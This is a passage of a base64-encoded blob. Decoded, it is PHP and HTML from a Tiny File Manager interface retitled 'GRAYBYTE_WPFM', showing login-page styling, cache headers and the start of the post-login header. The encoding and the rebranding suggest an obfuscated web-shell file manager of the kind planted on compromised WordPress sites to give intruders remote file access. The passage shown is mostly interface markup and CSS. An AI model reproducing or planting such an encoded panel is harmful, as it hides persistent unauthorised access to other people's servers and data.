JlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxIDAtMkg4MHYtNDYuNTlMNDguNTkgMTc4SDIxLjlhNSA1IDAgMSAxIDAtMkg0OS40MUw4MiAyMDguNTlWMjU4SDUzLjl6TTM0IDM5Ljh2MS42MUw5LjQxIDY2SDB2LTJoOC41OUwzMiA0MC41OVYwaDJ2MzkuOHpNMiAzMDAuMWE1IDUgMCAwIDEgMy45IDMuOUgzLjgzQTMgMyAwIDAgMCAwIDMwMi4xN1YyNTZoMTh2NDhoLTJ2LTQ2SDJ2NDIuMXpNMzQgMjQxdjYzaC0ydi02Mkgwdi0yaDM0djF6TTE3IDE4SDB2LTJoMTZWMGgydjE4aC0xem0yNzMtMmgxNHYyaC0xNlYwaDJ2MTZ6bS0zMiAyNzN2MTVoLTJ2LTE0aC0xNHYxNGgtMnYtMTZoMTh2MXpNMCA5Mi4xQTUuMDIgNS4wMiAwIDAgMSA2IDk3YTUgNSAwIDAgMS02IDQuOXYtMi4wN2EzIDMgMCAxIDAgMC01LjY2VjkyLjF6TTgwIDI3MmgydjMyaC0ydi0zMnptMzcuOSAzMmgtMi4wN2EzIDMgMCAwIDAtNS42NiAwaC0yLjA3YTUgNSAwIDAgMSA5LjggMHpNNS45IDBBNS4wMiA1LjAyIDAgMCAxIDAgNS45VjMuODNBMyAzIDAgMCAwIDMuODMgMEg1Ljl6bTI5NC4yIDBoMi4wN0EzIDMgMCAwIDAgMzA0IDMuODNWNS45YTUgNSAwIDAgMS0zLjktNS45em0zLjkgMzAwLjF2Mi4wN2EzIDMgMCAwIDAtMS44MyAxLjgzaC0yLjA3YTUgNSAwIDAgMSAzLjktMy45ek05NyAxMDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tNDggMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMzItMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgOTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNDRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS05NiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptOTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi02NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTMyIDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2IDBhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNNDkgMzZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMzIgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMzMgNjhhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNi00OGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMjQwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0tMTYtNjRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptLTE2LTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptODAtMTc2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYgMGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNi0xNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTMyIDQ4YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTYtMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wLTMyYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMTEyIDE3NmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bS0xNiAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAgMTZhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0wIDE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgMTgwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnptMCAxNmEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTAtMzJhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0xNiAwYTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnpNMTcgODRhMyAzIDAgMSAwIDAtNiAzIDMgMCAwIDAgMCA2em0zMiA2NGEzIDMgMCAxIDAgMC02IDMgMyAwIDAgMCAwIDZ6bTE2LTE2YTMgMyAwIDEgMCAwLTYgMyAzIDAgMCAwIDAgNnonJTNFJTNDXC9wYXRoJTNFJTNDXC9zdmclM0VcIik7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5icmFuZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEyMXB4O1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIHotaW5kZXg6IDFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmJyYW5kIGltZyB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMCVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQtd3JhcHBlciB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDM2MHB4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDRweCA4cHggcmdiYSgwLCAwLCAwLCAuMDUpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5jYXJkLXRpdGxlIHtcbiAgICAgICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjVyZW07XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5mb3JtLWNvbnRyb2wge1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMi4zcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvcm0tZ3JvdXAgbGFiZWwge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mbS1sb2dpbi1wYWdlIC5idG4uYnRuLWJsb2NrIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmZvb3RlciB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAyMHB4IDA7XG4gICAgICAgICAgICAgICAgY29sb3I6ICM4ODg7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDI1cHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC13cmFwcGVyIHtcbiAgICAgICAgICAgICAgICAgICAgd2lkdGg6IDkwJTtcbiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87XG4gICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDEwJTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6MzIwcHgpIHtcbiAgICAgICAgICAgICAgICAuZm0tbG9naW4tcGFnZSAuY2FyZC5mYXQge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwXG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgLmZtLWxvZ2luLXBhZ2UgLmNhcmQuZmF0IC5jYXJkLWJvZHkge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNXB4XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZSB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogNHB4IDdweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZGRkO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uub2sge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogZ3JlZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgIC